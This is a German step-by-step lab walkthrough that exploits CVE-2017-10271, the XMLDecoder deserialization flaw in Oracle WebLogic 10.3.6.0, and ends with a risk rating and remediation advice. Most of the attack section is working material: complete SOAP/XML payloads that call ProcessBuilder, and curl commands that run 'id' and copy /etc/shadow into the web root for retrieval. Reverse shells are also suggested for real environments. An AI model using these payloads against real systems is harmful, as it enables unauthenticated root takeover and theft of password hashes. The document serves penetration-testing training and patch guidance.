
Schritt-für-Schritt-Laboranleitung zur Ausnutzung von CVE-2017-10271 (WebLogic XMLDecoder Deserialisierung RCE) mit manueller Payload-Konstruktion, Blind-RCE-Umgehung und Post-Exploitation-Techniken einschließlich Privilegienüberprüfung und Datenerxfilterung.

AdminServer zu base_domain gehörig, läuft im Entwicklungsmodus).7001.http, t3, iiop, ldap, snmp.t3-Protokoll auf Port 7001 bereit. Diese Standardkonfiguration birgt ein hohes Risiko, wenn die WebLogic-Version nicht gegen Schwachstellen im Zusammenhang mit der Java-Objekt-Deserialisierung über RMI (Remote Method Invocation) gepatcht ist.http-Protokoll auf Port 7001, was sie anfällig für ein Verzeichnisscanning nach sensiblen Endpunkten wie /console/login/LoginForm.jsp macht.Sobald die offenen Ports des Ziels identifiziert sind, verwenden wir nmap, um den Port zu scannen und den darauf laufenden Dienst zu bestimmen.

Das Ziel bietet also einen HTTP-Dienst mit der Version Oracle WebLogic Server 10.3.6.0 – ein bekannter Java-Enterprise-Anwendungsserver, der für eine Reihe kritischer CVEs (wie Deserialisierung, Auth Bypass) berüchtigt ist. Diese Information allein reicht jedoch nicht aus, um zu schlussfolgern, für welche spezifische Schwachstelle das System anfällig ist. Wir müssen tiefer scannen und die begleitenden Webdienstkomponenten untersuchen.
Als Nächstes identifizieren wir seine sensiblen Endpunkte mit dem Tool dirsearch. Da WebLogic auf der Java-Plattform läuft, sind .jsp- und .xml-Dateien die sensibelsten Ziele. Wir konzentrieren uns auf Endpunkte, die einen 200-Statuscode zurückgeben.
dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html

/console/login/LoginForm.jsp: Das Anmeldeportal für die WebLogic Admin Console-Weboberfläche. Dies ist ein wichtiges Ziel für Brute-Force-Angriffe auf Standard-Anmeldedaten oder Authentifizierungsumgehungs-Schwachstellen (wie CVE-2020-14882)./bea_wls_internal/: Das standardmäßige interne Webanwendungsverzeichnis von WebLogic Server. Diese Komponente ermöglicht den Zugriff auf und die Interaktion mit statischen Systemdateien./wls-wsat/CoordinatorPortType: Dies ist die kritischste Entdeckung. Das Vorhandensein dieses Pfades mit einem 200 OK-Statuscode bestätigt, dass die Komponente Web Services Atomic Transactions (wls-wsat) aktiviert und bereit ist, Daten zu empfangen./uddiexplorer und /uddi/uddilistener: Dies ist die UDDI Explorer-Komponente (Universal Description, Discovery, and Integration), die standardmäßig in WebLogic Server integriert ist, um Webdienste zu verwalten und zu registrieren. Diese Komponente ist äußerst bekannt für die SSRF (Server-Side Request Forgery) - CVE-2014-4210-Schwachstelle. Ein Angreifer kann die öffentliche Registrierungssuche-Schnittstelle von UDDI am Endpunkt /uddiexplorer/SearchPublicRegistries.jsp ausnutzen, um den WebLogic-Server zu zwingen, beliebige HTTP-Anfragen an das interne Netzwerk im Backend zu senden.⇒ Überlegung: Das gleichzeitige Vorhandensein von /wls-wsat (RCE-Risiko via XMLDecoder) und /uddiexplorer (SSRF-Risiko) deutet darauf hin, dass die Angriffsfläche dieses WebLogic-Servers extrem breit ist.
Nachdem zwei unabhängige Angriffsflächen auf dem WebLogic 10.3.6.0-Server identifiziert wurden, analysieren wir die zwei Richtungen:
/uddiexplorer:
/wls-wsat:
⇒ Entscheidung: Im Modell der Cyber-Angriffskette ist RCE immer das ultimative Ziel, da es eine direkte und vollständige Kontrolle über das System (Full System Compromise) ermöglicht. Sobald die RCE-Fähigkeit erreicht ist, wird die Ausnutzung von SSRF über die UDDI-Anwendung überflüssig. Denn von einer RCE-Shell aus können wir aktiv interne Netzwerkanfragen auf direkte, flexible und leistungsfähigere Weise stellen (mit Systembefehlen wie curl, wget), ohne durch die Parameter der UDDI-Schnittstelle eingeschränkt zu sein.
Daher entscheiden wir uns in der Logik der Exploit-Priorisierung dafür, den sekundären Pfad (SSRF bei /uddiexplorer) auszuschließen und uns vollständig auf die Erforschung der: Remote Code Execution (RCE) via der XMLDecoder-Deserialisierungsschwachstelle bei /wls-wsat/CoordinatorPortType zu konzentrieren.
Die zugrunde liegende Schwachstelle von CVE-2017-10271 tritt auf, weil die WebLogic-Klasse WorkContextXmlInputAdapter das Objekt java.beans.XMLDecoder verwendet, um Daten im Tag <work:WorkContext> zu parsen. Standardmäßig instanziiert diese XMLDecoder-Klasse automatisch jede im XML-Tag-Format definierte Java-Klasse. Von hier aus führen wir eine Überprüfung basierend auf schrittweisen systemischen Verhaltensinteraktionen durch.
Um den tatsächlichen aktiven Status dieses Servlets schnell zu überprüfen, senden Sie eine normale HTTP-GET-Sondenanfrage:
curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType
Die Antwort gibt HTTP/1.1 200 OK zusammen mit der Implementierungsklasse CoordinatorPortTypePortImpl zurück, was bestätigt, dass das Servlet erfolgreich in den JVM-Speicher geladen wurde.
Da Webdienst-Servlets dafür ausgelegt sind, SOAP-XML-Daten über die POST-Methode zu verarbeiten, führen wir vergleichende Tests mit zwei POST-Anfragen durch, um die Datenverarbeitungspipeline des Systems zu demonstrieren:
1. Standard-SOAP-POST-Anfrage
Wir senden einen Standard-SOAP-XML-Envelope (mit vollständigen Namensräumen, aber ohne Ausführungsinhalt), um die normale Parsing-Fähigkeit des Parsers zu testen.
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"

Cannot find dispatch method).Analyse:
Der Server verfügt über einen gut funktionierenden XML-Reader am POST-Port, der bereit ist, die gesamte vom Benutzer gesendete XML-Baumstruktur zu empfangen und zu dekodieren. Dies bestätigt, dass die Datenpipeline vom Client tief in den Speicher von WebLogic hinein vollständig betriebsbereit ist.
2. Fehlerhafte XML-POST-Anfrage
Als Nächstes brechen wir absichtlich die XML-Struktur (z. B. fehlende Namensräume), um den Ausnahmebehandlungsmechanismus des Parsers zu beobachten.
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"

com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv" zurückgegeben.Analyse:
com.ctc.wstx) zur Analyse weitergeleitet.Die Kombination aus praktischen Versuchsergebnissen und der Systemarchitekturanalyse – vom Servlet wls-wsat, das Rohpakete über den POST-Port empfängt, über das Fehlen eines WAF/Sanity-Filters auf der Parser-Ebene bis hin zur direkten Ausgabe von rohen Java-XML-Reader-Fehlern – bestätigt, dass der Server eine äußerst sensible Dienststruktur betreibt, die direkt im Geltungsbereich von CVE-2017-10271 (XMLDecoder-Deserialisierung) liegt.
Da der standardmäßige Parsemechanismus von XMLDecoder keine Klassenkontrollfilter besitzt, stellt der Server, der rohe POST-Daten ohne Bereinigung empfängt, die perfekte Tür dar, um im nächsten Schritt Payloads zu entwerfen, die direkt Java-Systemausführungsobjekte aufrufen.
Da der WebLogic 10.3.6.0-Server in einer alten Java-Umgebung läuft und keine strengen Klassenkontrollfilter für XMLDecoder anwendet, kann ein Angreifer direkt ausführbare Java-Objekte injizieren.
Die Standardklasse zum Ausführen von Befehlen in Java ist java.lang.ProcessBuilder. Wir bilden diese Java-Objektinitialisierungslogik in ein XML-Format ab, das mit XMLDecoder kompatibel ist:
<void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void method="start"/>Wenn ein Systembefehl über ProcessBuilder ausgeführt wird, führt der WebLogic-Server den Befehl im Hintergrund auf dem Betriebssystem aus und gibt nur einen HTTP-500-Fehlercode zurück (er gibt die Befehlsausgabe nicht direkt auf dem HTTP-Antwortbildschirm aus). Dieser Mechanismus heißt Web Application Mapping – alle Webserver arbeiten so. Das Verzeichnis war/ ist das Document Root dieser Anwendung. Jede Datei im Verzeichnis war/ kann über eine kurze URL aufgerufen werden.
⇒ Um Blind RCE zu umgehen, müssen wir den physischen Pfad finden – da der Befehl id > ... auf dem Betriebssystem ausgeführt wird, benötigt er den tatsächlichen Pfad.
White-Box-Analyse zum Finden des /war-Verzeichnisses
Um den tatsächlichen physischen Pfad der Anwendung bea_wls_internal zu finden, die innerhalb des Containers geladen wird, führen wir eine Systemabfrage direkt vom Host-Rechner aus durch:

Ergebnisse
/root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war (Original-Archiv-Bibliotheksdatei)./root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal (Entpacktes aktives Anwendungsverzeichnis im temporären Partition _WL_internal des AdminServer). Wenn wir tief in dieses aktive Verzeichnis gehen, finden wir das Unterverzeichnis mit den statischen Dateien: /9j4dqk/war/. Dies ist das absolute Web-Root-Verzeichnis der Anwendung, in dem der Angreifer Schreibrechte hat, um statische Dateien zu schreiben und die RCE-Ausführungsergebnisse anzuzeigen.Denken: Entwerfen Sie einen Befehl, um die Ausgabe von id in eine statische Datei rce.txt im obigen Verzeichnis umzuleiten: id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt
Aus der obigen Analyse wissen wir, dass die Java-Klasse XMLDecoder automatisch jedes in XML-Tags definierte Objekt instanziiert und ausführt. Um Betriebssystembefehle in Java aufzurufen, ist die Standardklasse java.lang.ProcessBuilder.
Der Abbildungsprozess vom äquivalenten Java-Code zur XMLDecoder-XML-Struktur:
Äquivalenter Java-Code:
String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();
Abbildung auf XMLDecoder-XML-Tags:
Erstellen Sie die Datei exploit.xml auf der Kali-Linux-Maschine mit der vollständigen SOAP-Struktur:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Senden Sie die XML-Datei mit dem Exploit-Payload von der Kali-Linux-Maschine an den Zielendpunkt:
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d @exploit.xml

Greifen Sie auf die soeben erstellte statische Datei rce.txt im Web-Root-Verzeichnis zu:
curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt

Erfolgreicher RCE-Exploit. Das Ergebnis des id-Befehls bestätigt, dass der WebLogic-Prozess mit root-Berechtigungen läuft.
Das Ausführungsergebnis des id-Befehls gibt uid=0(root) zurück. Dies beweist, dass der WebLogic Server-Prozess direkt mit den höchsten root-Berechtigungen des Betriebssystems läuft. Der Angreifer hat die volle Kontrolle über das System, ohne zusätzliche Privilege Escalation-Schritte zu benötigen.
Ein Angreifer kann problemlos sensible Systemdateien wie /etc/shadow lesen. Wir erstellen die Datei exploit_shadow.xml und senden sie über das XML-Payload, so dass der WebLogic-Server sie automatisch ausführt. Dies befiehlt dem Server, die Datei zu lesen und in das Document root-Verzeichnis zu leiten, damit sie von der externen URL aus aufgerufen werden kann.
cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
EOF
Dann senden Sie das Payload und lesen die Datei von außen:
curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml
curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt

Die gesamte Systemkontenliste samt Passwort-Hashes ist vollständig offengelegt.
Da der Container in einer isolierten internen Netzwerkumgebung (NAT/Bridge des Docker-Hosts) läuft, kann das Einrichten einer Reverse-Verbindung (Reverse Shell) zurück zur Kali-Maschine außerhalb des LANs auf Routing-Hindernisse stoßen. In einer realen Umgebung (Produktion) kann der Angreifer durchaus eine Reverse Shell einrichten, wenn der Server eine ausgehende Internetverbindung hat.
Die Fähigkeit zur Remote-Codeausführung (RCE) direkt mit root-Berechtigungen und die Möglichkeit, Dateien über das Web-Root interaktiv zu lesen/schreiben, reichen jedoch aus, um eine vollständige Systemkompromittierung zu bestätigen.
Die XMLDecoder-Deserialisierungsschwachstelle (CVE-2017-10271) auf diesem WebLogic-System wird als kritischstes Risikoniveau (Critical) eingestuft:
Um diese kritische Sicherheitsschwachstelle vollständig zu beheben, müssen Administratoren sofort folgende Maßnahmen umsetzen:
Dringende Priorität (kurzfristig):
wls-wsat.war im WebLogic-Installationspfad und starten Sie den Dienst neu, um diese Angriffsfläche vollständig zu entfernen.oracle) läuft, und führen Sie den Prozess niemals mit root-Berechtigungen aus.Langfristige Priorität (Defense-in-depth):
/wls-wsat/-Endpunkte zu erkennen und zu blockieren, die für XMLDecoder charakteristische XML-Tags wie <java>, <object>, <void>, <class>, <method> enthalten.| Java-Komponente | Entsprechendes XML-Tag |
|---|
Deklaration der ProcessBuilder-Klasse | <void class="java.lang.ProcessBuilder"> |
Parameter-Array String[] | <array class="java.lang.String" length="3"> |
| Array-Elemente (Index 0, 1, 2) | <void index="0"><string>...</string></void> |
Aufruf der .start()-Methode | <void method="start"/> |
| Kriterium | Bewertung | Details |
|---|
| CVSS-Score | 9.8 (Critical) | Extrem hoher Auswirkungs-Score. |
| Authentifizierung | Nicht erforderlich | Ausnutzung erfordert kein Konto oder Authentifizierung. |
| Komplexität | Sehr niedrig | Erfordert nur das Senden einer einzigen HTTP-POST-Anfrage mit dem schädlichen SOAP-XML-Payload. |
| Erlangte Berechtigungen | root | Erlangt vollständige Kontrolle über den Container mit den höchsten Systemberechtigungen. |
| Lateral Movement | Hoch | Der kompromittierte Container kann als Ausgangspunkt (Pivot) für Angriffe auf andere Container im internen Netzwerk und den physischen Host-Server verwendet werden. |